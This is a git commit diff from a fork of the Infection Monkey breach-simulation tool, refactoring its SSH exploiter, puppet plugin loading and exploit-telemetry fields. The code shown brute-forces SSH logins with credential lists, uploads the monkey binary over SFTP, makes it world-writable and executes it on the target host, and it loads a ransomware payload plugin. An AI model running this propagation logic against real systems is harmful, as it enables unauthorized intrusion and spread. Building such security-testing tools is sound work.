forked from p15670423/monkey
Merge pull request #1727 from guardicore/1605-modify-ssh-exploit
Modify SSH exploit
This commit is contained in:
commit
7d0e177e7a
|
@ -1,10 +1,13 @@
|
||||||
import logging
|
import logging
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -26,7 +29,7 @@ class HostExploiter:
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
self._config = WormConfiguration
|
self._config = WormConfiguration
|
||||||
self.exploit_info = {
|
self.exploit_info = {
|
||||||
"display_name": self._EXPLOITED_SERVICE,
|
"display_name": self._EXPLOITED_SERVICE,
|
||||||
|
@ -37,7 +40,10 @@ class HostExploiter:
|
||||||
"executed_cmds": [],
|
"executed_cmds": [],
|
||||||
}
|
}
|
||||||
self.exploit_attempts = []
|
self.exploit_attempts = []
|
||||||
self.host = host
|
self.host = None
|
||||||
|
self.telemetry_messenger = None
|
||||||
|
self.options = {}
|
||||||
|
self.exploit_result = {}
|
||||||
|
|
||||||
def set_start_time(self):
|
def set_start_time(self):
|
||||||
self.exploit_info["started"] = datetime.now().isoformat()
|
self.exploit_info["started"] = datetime.now().isoformat()
|
||||||
|
@ -48,17 +54,6 @@ class HostExploiter:
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
return self.host.os.get("type") in self._TARGET_OS_TYPE
|
return self.host.os.get("type") in self._TARGET_OS_TYPE
|
||||||
|
|
||||||
def send_exploit_telemetry(self, name: str, result: bool):
|
|
||||||
from infection_monkey.telemetry.exploit_telem import ExploitTelem
|
|
||||||
|
|
||||||
ExploitTelem( # stale code
|
|
||||||
name=name,
|
|
||||||
host=self.host,
|
|
||||||
result=result,
|
|
||||||
info=self.exploit_info,
|
|
||||||
attempts=self.exploit_attempts,
|
|
||||||
).send()
|
|
||||||
|
|
||||||
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
|
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
|
||||||
self.exploit_attempts.append(
|
self.exploit_attempts.append(
|
||||||
{
|
{
|
||||||
|
@ -71,7 +66,12 @@ class HostExploiter:
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
def exploit_host(self):
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
|
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||||
|
self.host = host
|
||||||
|
self.telemetry_messenger = telemetry_messenger
|
||||||
|
self.options = options
|
||||||
|
|
||||||
self.pre_exploit()
|
self.pre_exploit()
|
||||||
result = None
|
result = None
|
||||||
try:
|
try:
|
||||||
|
@ -85,6 +85,9 @@ class HostExploiter:
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def pre_exploit(self):
|
def pre_exploit(self):
|
||||||
|
self.exploit_result = ExploiterResultData(
|
||||||
|
os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts
|
||||||
|
)
|
||||||
self.set_start_time()
|
self.set_start_time()
|
||||||
|
|
||||||
def post_exploit(self):
|
def post_exploit(self):
|
||||||
|
|
|
@ -10,10 +10,12 @@ from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||||
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.model import MONKEY_ARG
|
from infection_monkey.model import MONKEY_ARG
|
||||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||||
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter):
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = "SSH"
|
_EXPLOITED_SERVICE = "SSH"
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
super(SSHExploiter, self).__init__(host)
|
super(SSHExploiter, self).__init__()
|
||||||
self._update_timestamp = 0
|
self._update_timestamp = 0
|
||||||
|
|
||||||
def log_transfer(self, transferred, total):
|
def log_transfer(self, transferred, total):
|
||||||
|
@ -37,7 +39,10 @@ class SSHExploiter(HostExploiter):
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||||
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
|
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||||
|
)
|
||||||
|
|
||||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
# Creating file-like private key for paramiko
|
# Creating file-like private key for paramiko
|
||||||
|
@ -67,7 +72,10 @@ class SSHExploiter(HostExploiter):
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = generate_identity_secret_pairs(
|
||||||
|
identities=self.options["credentials"]["exploit_user_list"],
|
||||||
|
secrets=self.options["credentials"]["exploit_password_list"],
|
||||||
|
)
|
||||||
|
|
||||||
for user, current_password in user_password_pairs:
|
for user, current_password in user_password_pairs:
|
||||||
|
|
||||||
|
@ -76,23 +84,16 @@ class SSHExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||||
|
|
||||||
logger.debug(
|
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
|
||||||
self.host,
|
|
||||||
user,
|
|
||||||
self._config.hash_sensitive_data(current_password),
|
|
||||||
)
|
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
return ssh
|
return ssh
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Error logging into victim %r with user"
|
"Error logging into victim %r with user" " %s: (%s)",
|
||||||
" %s and password (SHA-512) '%s': (%s)",
|
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(current_password),
|
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
|
@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter):
|
||||||
continue
|
continue
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
|
|
||||||
port = SSH_PORT
|
port = SSH_PORT
|
||||||
|
|
||||||
# if ssh banner found on different port, use that port.
|
# if ssh banner found on different port, use that port.
|
||||||
for servkey, servdata in list(self.host.services.items()):
|
for servkey, servdata in list(self.host.services.items()):
|
||||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||||
|
@ -110,17 +111,22 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||||
if not is_open:
|
if not is_open:
|
||||||
logger.info("SSH port is closed on %r, skipping", self.host)
|
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||||
return False
|
|
||||||
|
logger.info(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_ssh_keys(port)
|
ssh = self.exploit_with_ssh_keys(port)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_login_creds(port)
|
ssh = self.exploit_with_login_creds(port)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
logger.debug("Exploiter SSHExploiter is giving up...")
|
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||||
return False
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
if not self.host.os.get("type"):
|
if not self.host.os.get("type"):
|
||||||
try:
|
try:
|
||||||
|
@ -128,12 +134,20 @@ class SSHExploiter(HostExploiter):
|
||||||
uname_os = stdout.read().lower().strip().decode()
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
if "linux" in uname_os:
|
if "linux" in uname_os:
|
||||||
self.host.os["type"] = "linux"
|
self.host.os["type"] = "linux"
|
||||||
|
self.exploit_result.os = "linux"
|
||||||
else:
|
else:
|
||||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||||
return False
|
|
||||||
|
if not uname_os:
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
self.exploit_result.error_message = (
|
||||||
return False
|
f"Error running uname os command on victim {self.host}: ({exc})"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
if not self.host.os.get("machine"):
|
if not self.host.os.get("machine"):
|
||||||
try:
|
try:
|
||||||
|
@ -142,15 +156,20 @@ class SSHExploiter(HostExploiter):
|
||||||
if "" != uname_machine:
|
if "" != uname_machine:
|
||||||
self.host.os["machine"] = uname_machine
|
self.host.os["machine"] = uname_machine
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
self.exploit_result.error_message = (
|
||||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
f"Error running uname machine command on victim {self.host}: ({exc})"
|
||||||
)
|
)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
self.exploit_result.error_message = (
|
||||||
return False
|
f"Can't find suitable monkey executable for host {self.host}"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ftp = ssh.open_sftp()
|
ftp = ssh.open_sftp()
|
||||||
|
@ -159,45 +178,58 @@ class SSHExploiter(HostExploiter):
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
with monkeyfs.open(src_path) as file_obj:
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
file_obj,
|
file_obj,
|
||||||
self._config.dropper_target_path_linux,
|
self.options["dropper_target_path_linux"],
|
||||||
file_size=monkeyfs.getsize(src_path),
|
file_size=monkeyfs.getsize(src_path),
|
||||||
callback=self.log_transfer,
|
callback=self.log_transfer,
|
||||||
)
|
)
|
||||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
T1222Telem(
|
self.telemetry_messenger.send_telemetry(
|
||||||
ScanStatus.USED,
|
T1222Telem(
|
||||||
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
ScanStatus.USED,
|
||||||
self.host,
|
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
||||||
).send()
|
self.host,
|
||||||
|
)
|
||||||
|
)
|
||||||
ftp.close()
|
ftp.close()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
self.exploit_result.error_message = (
|
||||||
|
f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
|
)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
status = ScanStatus.SCANNED
|
status = ScanStatus.SCANNED
|
||||||
|
|
||||||
T1105Telem(
|
self.telemetry_messenger.send_telemetry(
|
||||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
T1105Telem(
|
||||||
).send()
|
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||||
|
)
|
||||||
|
)
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
return False
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux,
|
self.options["dropper_target_path_linux"],
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
|
||||||
ssh.close()
|
ssh.close()
|
||||||
self.add_executed_cmd(cmdline)
|
self.add_executed_cmd(cmdline)
|
||||||
return True
|
return self.exploit_result
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
self.exploit_result.error_message = (
|
||||||
return False
|
f"Error running monkey on victim {self.host}: ({exc})"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return self.exploit_result
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
import abc
|
import abc
|
||||||
import threading
|
import threading
|
||||||
from collections import namedtuple
|
from collections import namedtuple
|
||||||
|
from dataclasses import dataclass
|
||||||
from enum import Enum
|
from enum import Enum
|
||||||
from typing import Dict, List, Sequence
|
from typing import Dict, Iterable, List, Mapping, Sequence
|
||||||
|
|
||||||
from . import PluginType
|
from . import PluginType
|
||||||
from .credential_collection import Credentials
|
from .credential_collection import Credentials
|
||||||
|
@ -17,10 +18,16 @@ class UnknownPluginError(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
ExploiterResultData = namedtuple(
|
@dataclass
|
||||||
"ExploiterResultData",
|
class ExploiterResultData:
|
||||||
["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"],
|
exploitation_success: bool = False
|
||||||
)
|
propagation_success: bool = False
|
||||||
|
os: str = ""
|
||||||
|
info: Mapping = None
|
||||||
|
attempts: Iterable = None
|
||||||
|
error_message: str = ""
|
||||||
|
|
||||||
|
|
||||||
PingScanData = namedtuple("PingScanData", ["response_received", "os"])
|
PingScanData = namedtuple("PingScanData", ["response_received", "os"])
|
||||||
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
||||||
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
||||||
|
@ -103,16 +110,19 @@ class IPuppet(metaclass=abc.ABCMeta):
|
||||||
:rtype: FingerprintData
|
:rtype: FingerprintData
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def exploit_host(
|
def exploit_host(
|
||||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||||
) -> ExploiterResultData:
|
) -> ExploiterResultData:
|
||||||
"""
|
"""
|
||||||
Runs an exploiter against a remote host
|
Runs an exploiter against a remote host
|
||||||
:param str name: The name of the exploiter to run
|
:param str name: The name of the exploiter to run
|
||||||
:param str host: The domain name or IP address of a host
|
:param object host: The domain name or IP address of a host
|
||||||
:param Dict options: A dictionary containing options that modify the behavior of the
|
:param Dict options: A dictionary containing options that modify the behavior of the
|
||||||
exploiter
|
exploiter
|
||||||
|
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
|
||||||
|
executing and clean itself up.
|
||||||
:return: True if exploitation was successful, False otherwise
|
:return: True if exploitation was successful, False otherwise
|
||||||
:rtype: ExploiterResultData
|
:rtype: ExploiterResultData
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -115,7 +115,7 @@ class Exploiter:
|
||||||
credentials = self._get_credentials_for_propagation()
|
credentials = self._get_credentials_for_propagation()
|
||||||
options = {"credentials": credentials, **options}
|
options = {"credentials": credentials, **options}
|
||||||
|
|
||||||
return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop)
|
return self._puppet.exploit_host(exploiter_name, victim_host, options, stop)
|
||||||
|
|
||||||
def _get_credentials_for_propagation(self) -> Mapping:
|
def _get_credentials_for_propagation(self) -> Mapping:
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
|
||||||
MimikatzCredentialCollector,
|
MimikatzCredentialCollector,
|
||||||
SSHCredentialCollector,
|
SSHCredentialCollector,
|
||||||
)
|
)
|
||||||
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||||
from infection_monkey.master import AutomatedMaster
|
from infection_monkey.master import AutomatedMaster
|
||||||
from infection_monkey.master.control_channel import ControlChannel
|
from infection_monkey.master.control_channel import ControlChannel
|
||||||
|
@ -194,7 +195,7 @@ class InfectionMonkey:
|
||||||
return local_network_interfaces
|
return local_network_interfaces
|
||||||
|
|
||||||
def _build_puppet(self) -> IPuppet:
|
def _build_puppet(self) -> IPuppet:
|
||||||
puppet = Puppet()
|
puppet = Puppet(self.telemetry_messenger)
|
||||||
|
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"MimikatzCollector",
|
"MimikatzCollector",
|
||||||
|
@ -213,6 +214,8 @@ class InfectionMonkey:
|
||||||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
|
|
||||||
|
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
|
||||||
|
|
||||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||||
|
|
||||||
return puppet
|
return puppet
|
||||||
|
|
|
@ -134,8 +134,9 @@ class MockPuppet(IPuppet):
|
||||||
|
|
||||||
return empty_fingerprint_data
|
return empty_fingerprint_data
|
||||||
|
|
||||||
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
def exploit_host(
|
def exploit_host(
|
||||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||||
) -> ExploiterResultData:
|
) -> ExploiterResultData:
|
||||||
logger.debug(f"exploit_hosts({name}, {host}, {options})")
|
logger.debug(f"exploit_hosts({name}, {host}, {options})")
|
||||||
attempts = [
|
attempts = [
|
||||||
|
@ -209,7 +210,7 @@ class MockPuppet(IPuppet):
|
||||||
}
|
}
|
||||||
|
|
||||||
try:
|
try:
|
||||||
return successful_exploiters[host][name]
|
return successful_exploiters[host.ip_addr][name]
|
||||||
except KeyError:
|
except KeyError:
|
||||||
return ExploiterResultData(
|
return ExploiterResultData(
|
||||||
False, False, os_linux, {}, [], f"{name} failed for host {host}"
|
False, False, os_linux, {}, [], f"{name} failed for host {host}"
|
||||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
|
||||||
PostBreachData,
|
PostBreachData,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
from .mock_puppet import MockPuppet
|
from .mock_puppet import MockPuppet
|
||||||
from .plugin_registry import PluginRegistry
|
from .plugin_registry import PluginRegistry
|
||||||
|
|
||||||
|
@ -21,9 +22,10 @@ logger = logging.getLogger()
|
||||||
|
|
||||||
|
|
||||||
class Puppet(IPuppet):
|
class Puppet(IPuppet):
|
||||||
def __init__(self) -> None:
|
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
|
||||||
self._mock_puppet = MockPuppet()
|
self._mock_puppet = MockPuppet()
|
||||||
self._plugin_registry = PluginRegistry()
|
self._plugin_registry = PluginRegistry()
|
||||||
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
|
||||||
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
||||||
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
||||||
|
@ -56,10 +58,12 @@ class Puppet(IPuppet):
|
||||||
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
||||||
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
||||||
|
|
||||||
|
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||||
def exploit_host(
|
def exploit_host(
|
||||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||||
) -> ExploiterResultData:
|
) -> ExploiterResultData:
|
||||||
return self._mock_puppet.exploit_host(name, host, options, interrupt)
|
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
|
||||||
|
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||||
|
|
||||||
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
||||||
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
||||||
|
|
|
@ -3,7 +3,7 @@ from typing import Dict
|
||||||
from common.common_consts.telem_categories import TelemCategoryEnum
|
from common.common_consts.telem_categories import TelemCategoryEnum
|
||||||
from infection_monkey.model.host import VictimHost
|
from infection_monkey.model.host import VictimHost
|
||||||
from infection_monkey.telemetry.base_telem import BaseTelem
|
from infection_monkey.telemetry.base_telem import BaseTelem
|
||||||
from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
||||||
|
|
||||||
|
|
||||||
class ExploitTelem(BaseTelem):
|
class ExploitTelem(BaseTelem):
|
||||||
|
|
|
@ -61,7 +61,7 @@ class T1210(AttackTechnique):
|
||||||
def get_exploited_services():
|
def get_exploited_services():
|
||||||
results = mongo.db.telemetry.aggregate(
|
results = mongo.db.telemetry.aggregate(
|
||||||
[
|
[
|
||||||
{"$match": {"telem_category": "exploit", "data.result": True}},
|
{"$match": {"telem_category": "exploit", "data.exploitation_result": True}},
|
||||||
{
|
{
|
||||||
"$group": {
|
"$group": {
|
||||||
"_id": {"ip_addr": "$data.machine.ip_addr"},
|
"_id": {"ip_addr": "$data.machine.ip_addr"},
|
||||||
|
|
|
@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]:
|
||||||
[
|
[
|
||||||
ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
|
ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
|
||||||
for exploit in node["exploits"]
|
for exploit in node["exploits"]
|
||||||
if exploit["result"]
|
if exploit["exploitation_result"]
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
|
@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
|
|
||||||
check_machine_exploited(
|
check_machine_exploited(
|
||||||
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
|
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
|
||||||
exploit_successful=telemetry_json["data"]["exploitation_success"],
|
exploit_successful=telemetry_json["data"]["exploitation_result"],
|
||||||
exploiter=telemetry_json["data"]["exploiter"],
|
exploiter=telemetry_json["data"]["exploiter"],
|
||||||
target_ip=telemetry_json["data"]["machine"]["ip_addr"],
|
target_ip=telemetry_json["data"]["machine"]["ip_addr"],
|
||||||
timestamp=telemetry_json["timestamp"],
|
timestamp=telemetry_json["timestamp"],
|
||||||
|
|
|
@ -1,12 +1,19 @@
|
||||||
import threading
|
import threading
|
||||||
from unittest.mock import MagicMock
|
from unittest.mock import MagicMock
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
from infection_monkey.i_puppet import PluginType
|
from infection_monkey.i_puppet import PluginType
|
||||||
from infection_monkey.puppet.puppet import Puppet
|
from infection_monkey.puppet.puppet import Puppet
|
||||||
|
|
||||||
|
|
||||||
def test_puppet_run_payload_success(monkeypatch):
|
@pytest.fixture
|
||||||
p = Puppet()
|
def mock_telemetry_messenger():
|
||||||
|
return MagicMock()
|
||||||
|
|
||||||
|
|
||||||
|
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
|
||||||
|
p = Puppet(mock_telemetry_messenger)
|
||||||
|
|
||||||
payload = MagicMock()
|
payload = MagicMock()
|
||||||
payload_name = "PayloadOne"
|
payload_name = "PayloadOne"
|
||||||
|
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
|
||||||
payload.run.assert_called_once()
|
payload.run.assert_called_once()
|
||||||
|
|
||||||
|
|
||||||
def test_puppet_run_multiple_payloads(monkeypatch):
|
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
|
||||||
p = Puppet()
|
p = Puppet(mock_telemetry_messenger)
|
||||||
|
|
||||||
payload_1 = MagicMock()
|
payload_1 = MagicMock()
|
||||||
payload1_name = "PayloadOne"
|
payload1_name = "PayloadOne"
|
||||||
|
|
|
@ -94,7 +94,7 @@ NODE_DICT = {
|
||||||
"dead": True,
|
"dead": True,
|
||||||
"exploits": [
|
"exploits": [
|
||||||
{
|
{
|
||||||
"result": True,
|
"exploitation_result": True,
|
||||||
"exploiter": "DrupalExploiter",
|
"exploiter": "DrupalExploiter",
|
||||||
"info": {
|
"info": {
|
||||||
"display_name": "Drupal Server",
|
"display_name": "Drupal Server",
|
||||||
|
@ -109,7 +109,7 @@ NODE_DICT = {
|
||||||
"origin": "MonkeyIsland : 192.168.56.1",
|
"origin": "MonkeyIsland : 192.168.56.1",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"result": True,
|
"exploitation_result": True,
|
||||||
